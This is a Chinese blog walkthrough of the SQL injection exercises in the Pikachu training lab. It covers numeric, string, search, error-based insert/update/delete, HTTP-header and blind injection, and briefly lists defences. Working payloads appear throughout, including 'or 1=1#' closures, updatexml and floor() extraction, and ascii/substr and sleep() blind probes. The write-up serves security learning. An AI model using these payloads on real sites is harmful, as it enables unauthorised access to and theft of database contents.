pikachu--SQL注入

Sql注入

 数据库注入漏洞,主要是开发人员在构建代码时,没有对输入边界进行安全考虑,导致攻击者可以通过合法的输入点提交一些精心构造的语句,从而欺骗后台数据库对其进行执行,导致数据库信息泄露的一种漏洞。

Sql注入攻击流程

1.  注入点探测

自动方式:使用web漏洞扫描工具,自动进行注入点发现

手动方式:手工构造sql inject测试语句进行注入点发现

2.  信息获取

通过注入点取得期望得到的数据

      1.  环境信息:数据库类型,数据库版本,操作系统版本,用户信息等

      2.  数据库信息:数据库名称,数据库表,表字段,字段内容(加密内容破解)

      3.  获取权限       获取操作系统权限:通过数据库执行shell,上传木马

 

Get方式中使用url提交注入数据;post方式中使用抓包工具修改post数据部分提交注入

注入方法可以参照之前做sqli-labs实验的方法:https://www.cnblogs.com/7-58/p/12286731.html

 

防范措施

代码层面:

  1. 1.  对输入进行严格的转义和过滤(mysqli_real_escape_string)
  2. 2.  使用预处理和参数化(parameterized)

网络层面:

  1. 1.  通过WAF设备启用sql inject注入策略(类似防护系统)
  2. 2.  云端防护(360网站卫士,阿里云)

 

SQL数字型注入(post)

提交  抓包发送到repeater里  修改id后面给他增加sql语句

 

可以看到增加or 1=1之后,就把id全都列出来了

可以看一下源码   这里直接post请求直接把id带入到sql语句中,没有做任何处理,所以在id这里存在sql注入漏洞

SQL字符型注入(get)

kobe' or 1=1#'

 这里输入kobe 只出现这个

因为是字符型的注入,我们可以使用做sqli-labs方法进行尝试,加单引号、双引号、括号、以及他们的组合,这里需要注意闭合后面注释

SQL搜索型注入

实际上sql语句是 select username,id,email from member where username like '%$name%'

用了一个like  ‘%xxxx%’

所以我们可以用 xxx%’ or 1=1#

 成功闭合,将所有用户信息拿出

 

SQL xx型注入

Sql语句为:select id,email from member where username=('$name')

相同的道理闭合:xx’) or 1=1#

Insert/updata注入(使用报错注入)

Sql语句:insert into member(username,pw,sex,phonenum,email,address)values(‘xx’,11,1,2,3,4);

基于insert下的报错

Gxy’or updatexml(1,concat(0x7e,database()),0)or ‘

基于delete下的报错

1 or updatexml(1,concat(0x7e,database()),0)

基于floor()

Kobe’ and (select 2 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema,tables group by x)a)#

 

构造语句:

insert into member(username,pw,sex,phonenum,email,address)values(‘1’or updatexml(1,concat(0x7e,database()),0) or ’’ ,11,1,2,3,4);

出来报错

Delete注入

删除一个留言  抓包 发送给到repeater 

通过看源码id是一个数字型

在repeater里面修改id  并转码

 

在右边的界面拉到最后就会有报错信息的显示

http头注入

有时候后台开发人员为了验证客户信息(比如cookie验证)或者通过http header头信息获取客户端的一些信息,比如useragent、accept字段等 会对客户端的http header信息进行获取并使用sql进行处理,如果此时没有足够的安全考虑则可能会导致基于http header 的sql inject漏洞。

登录 admin 123456

抓包 发送到repeater  修改user-agent 在右边最下面会显示出信息

firefox’or updatexml(1,concat(0x7e,database()),0)or ‘

盲注

基于boolean盲注

表现:

1.没有报错信息

2.结果都只显示两种情况(0或1)

3.在正确的输入下,输入and 1=1/and 1=2可以判断

 

<实际上你要自己一个一个的去测>

输入   Kobe’ and ascii(substr(database(),1,1))>113#

kobe' and ascii(substr(database(),1,1,))=112#       正确输出

将database()换成

select table_name from information_schema.tables where table_schema=database() limit 0, 1

 

kobe' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0, 1)

,1,1,))>112#   这样构造还是可以的

 

基于时间的盲注

Kobe’ and sleep(5)#   页面会停顿5秒

 

 通过这个可以判断构造语句是否正确

Kobe’ and if((substr(database(),1,1))=‘a’,sleep(5),null)#

猜测第一个字符是否是a (a-z)

 我们可以将database()换成select  table_name from information_schema.tables where table_schema=database() limit 0, 1

都是可以的,需要灵活的掌握sql注入的一些构造语句。

原文地址:https://www.cnblogs.com/7-58/p/12360440.html